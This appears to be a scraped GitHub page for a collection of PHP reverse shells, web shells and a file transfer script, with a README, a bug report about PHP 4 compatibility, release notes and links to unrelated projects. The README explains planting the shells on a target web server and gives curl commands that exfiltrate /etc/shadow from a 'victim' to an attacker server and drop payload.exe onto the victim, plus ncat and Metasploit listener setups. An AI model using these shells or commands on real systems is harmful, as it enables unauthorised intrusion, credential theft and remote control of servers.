PHP shells that work on Linux OS, macOS, and Windows OS.

Overview

PHP Reverse Shell

Just a little refresh on the popular PHP reverse shell script pentestmonkey/php-reverse-shell. Credits to the original author!

Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Script will automatically detect an underlying OS.

Works with both ncat and multi/handler.

Tested on XAMPP for Linux v7.3.19 (64-bit) with PHP v7.3.19 on Kali Linux v2020.2 (64-bit).

Tested on XAMPP for OS X v7.4.10 (64-bit) with PHP v7.4.10 on macOS Catalina v10.15.6 (64-bit).

Tested on XAMPP for Windows v7.4.3 (64-bit) with PHP v7.4.3 on Windows 10 Enterprise OS (64-bit).

In addition, everything was tested on Docker images nouphet/docker-php4 with PHP v4.4.0 and steeze/php52-nginx with PHP v5.2.17.

Made for educational purposes. I hope it will help!

Process pipes on Windows OS do not support asynchronous operations so stream_set_blocking(), stream_select(), and feof() will not work properly, but I found a workaround.

Table of Contents

Reverse Shells

/src/reverse/php_reverse_shell.php requires PHP v5.0.0 or greater, mainly because proc_get_status() is used.

/src/reverse/php_reverse_shell_older.php requires PHP v4.3.0 or greater.

Change the IP address and port number inside the scripts as necessary.

Copy /src/reverse/php_reverse_shell.php to your server's web root directory (e.g. to /opt/lampp/htdocs/ on XAMPP) or upload it to your target's web server.

Navigate to the file with your preferred web browser.

Web Shells

Check the simple PHP web shell based on HTTP POST request.

Check the simple PHP web shell based on HTTP GET request. You must URL encode your commands.

Check the simple PHP web shell v2 based on HTTP GET request. You must URL encode your commands.

Find out more about PHP obfuscation techniques for older versions of PHP at lcatro/PHP-WebShell-Bypass-WAF. Credits to the author!

File Upload/Download Script

Check the simple PHP file upload/download script based on HTTP POST request for file upload and HTTP GET request for file download.

When downloading a file, you should URL encode the file path, and specify name of the output file.

Depending on the server configuration, downloading a file through HTTP GET parameter might not always work, so you will have to hardcore the file path in the script.

Case 1: Upload the Script to the Victim’s Server

Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.

Upload a file to the victim's server web root directory from your PC:

curl -s -k -X POST https://victim.com/files.php -F file=@/root/payload.exe

Download a file from the victim's PC to your PC:

curl -s -k -X GET https://victim.com/files.php?file=/etc/shadow -o shadow

If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions.

Case 2: Upload the Script to Your Server

From your PHP reverse shell, run the following cURL commands.

Upload a file from the victim's PC to your server web root directory:

curl -s -k -X POST https://your-server.com/files.php -F file=@/etc/shadow

Download a file from your PC to the victim's PC:

curl -s -k -X GET https://your-server.com/files.php?file=/root/payload.exe -o payload.exe

curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe

Set Up a Listener

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.

Set up ncat listener:

ncat -nvlp 9000

Set up multi/handler listener:

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

Images

Ncat

Figure 1 - Ncat

Script Dump

Figure 2 - Script's Dump

You might also like...
OSX/Linux Docker containers installer for Magento 2

Magento 2 OSX/Linux Docker Requirements MacOS: Docker, docker-sync, Git Linux: Docker, Docker-compose, Git on Debian based OS (Example: Ubuntu, Linux

Staged Payloads from Kali Linux - Part 1,2 of 3
Staged Payloads from Kali Linux - Part 1,2 of 3

PT Phone Home As penetration testers, we often come up with creative methods to deliver and execute our payloads, such as staged payloads. A staged pa

Creating data transfer objects with the power of php objects. No php attributes, no reflection api, and no other under the hook work.

Super Simple DTO Creating data transfer objects with the power of php objects. No php attributes, no reflection api, and no other under the hook work.

This Kirby V3 Plugin brings snippets and blueprints together in one place. It includes useful tools that completely changing the way you work with Kirby: Fast and well organized.
This Kirby V3 Plugin brings snippets and blueprints together in one place. It includes useful tools that completely changing the way you work with Kirby: Fast and well organized.

Kirby Components Overview Do you love to make awesome projects with Kirby CMS? Do you also find it difficult to switch between snippets and blueprints

Easily create and work with code snippets from PHP

code-snippets Easily create and work with code snippets from source code files of any type in PHP. The original code this package is based on was borr

The swiss army knife for Magento developers, sysadmins and devops. The tool provides a huge set of well tested command line commands which save hours of work time. All commands are extendable by a module API.

netz98 magerun CLI tools for Magento 2 The n98 magerun cli tools provides some handy tools to work with Magento from command line. Build Status Latest

Make Laravel and Storyblok work together beautifully.

Use Storyblok’s amazing headless CMS in way that feels familiar to Laravel developers This package allows you to use fantastic Storyblok headless CMS

When the player is killed and dies, the sound will work

KillDeathSound | v1.0.0 ✔️ When the player is killed and dies, the sound will work ✔️ ☝ Features When the player is killed and dies, the sound will wo

Joole Reflector - used to work with the properties of objects, their changes and merges

Joole Reflector allows you to change protected, as well as private properties of an object.

Comments
  • Does Not Work on Older Versions

    Does Not Work on Older Versions

    First, you have syntax error: $size = fstat($input)['size']; This code not alloved in PHP 4, need use somethig like:

    $fstat_input = fstat($input);
    $size = $fstat_input['size'];
    

    And if u fix it in all code syntax be correct. But not work! Im tested on two docker with php4 (misryan/php4 and nouphet/docker-php4) and get error:

    AEMONIZE: pcntl_fork() does not exists, moving on... PROC_ERROR: Cannot start the shell

    bug 
    opened by Dedushkes 3
Releases(v2.5.1)
  • v2.5.1(Mar 24, 2022)

    Just some text changes.

    Version bump to make them all equal, and directory restructure.

    PHP shells that work on both Linux OS and macOS with /bin/sh and Windows OS with cmd.exe, as well as with both ncat and multi/handler listeners.

    Source code(tar.gz)
    Source code(zip)
Owner
Ivan Šincek
Senior offensive security engineer and bug hunter. These are some of the security related codes I wrote in my free time.
Ivan Šincek
Get the system resources in PHP, as memory, number of CPU'S, Temperature of CPU or GPU, Operating System, Hard Disk usage, .... Works in Windows & Linux

system-resources. A class to get the hardware resources We can get CPU load, CPU/GPU temperature, free/used memory & Hard disk. Written in PHP It is a

Rafael Martin Soto 10 Oct 15, 2022
A Composer Package which installs the PhantomJS binary (Linux, Windows, Mac) into /bin of your project.

phantomjs-installer A Composer package which installs the PhantomJS binary (Linux, Windows, Mac) into /bin of your project. Table of Contents Installa

Jens A. Koch 149 Nov 8, 2022
A PHP Library To Make Your Work Work Easier/Faster

This Is A Php Library To Make Your Work Easier/Faster,

functionality 2 Dec 30, 2022
Run Telegram PHP Bot on Windows Localhost without Host or VPN.

Run Telegram PHP Bot on Windows Localhost without Host or VPN.

iNeoTeam | آی نئو 4 May 30, 2022
Laravel Valet for Windows.

Windows port of the popular development environment Laravel Valet. Introduction Valet is a Laravel development environment for Windows. No Vagrant, no

Cretu Eusebiu 805 Dec 13, 2022
Dashboard that shows who pings your linux box - PHP and TCPDUMP

server-ping-alert Dashboard that shows who pings your linux box - PHP and TCPDUMP This uses tcpdump and php to see who is pinging your linux box. This

null 4 May 16, 2022
This is the information I prepared for the PHP interview.The notes include PHP, MySql, Linux, etc.

PHP面试准备的资料 这个项目是自己准备面试整理的资料。可能包括PHP、MySQL等资料。方便自己以后查阅,会不定期更新,如果错误,请指出,谢谢。欢迎大家提交PR,谢谢大家的star 可以通过https://xianyunyh.gitbooks.io/php-interview/预览。欢迎有精力的朋

Troy 1.2k Dec 24, 2022
Track any ip address with IP-Tracer. IP-Tracer is developed for Linux and Termux. you can retrieve any ip address information using IP-Tracer.

IP-Tracer is used to track an ip address. IP-Tracer is developed for Termux and Linux based systems. you can easily retrieve ip address information using IP-Tracer. IP-Tracer use ip-api to track ip address.

Rajkumar Dusad 1.2k Jan 4, 2023
Wake PC is a super tiny password protected webapp for linux machines that sends WOL packets, written in PHP.

Wake PC Wake PC is a super tiny password protected webapp for linux machines that sends WOL packets, written in PHP. How to set up Quick setup You can

Dániel Szabó 45 Dec 30, 2022
Nuber is an open source container management platform it provides a front end to manage your own cloud infrastructure, using Linux Containers virtualization technology

Nuber is an open source container management platform it provides a front end to manage your own cloud infrastructure, using Linux Containers virtualization technology

null 33 Dec 14, 2022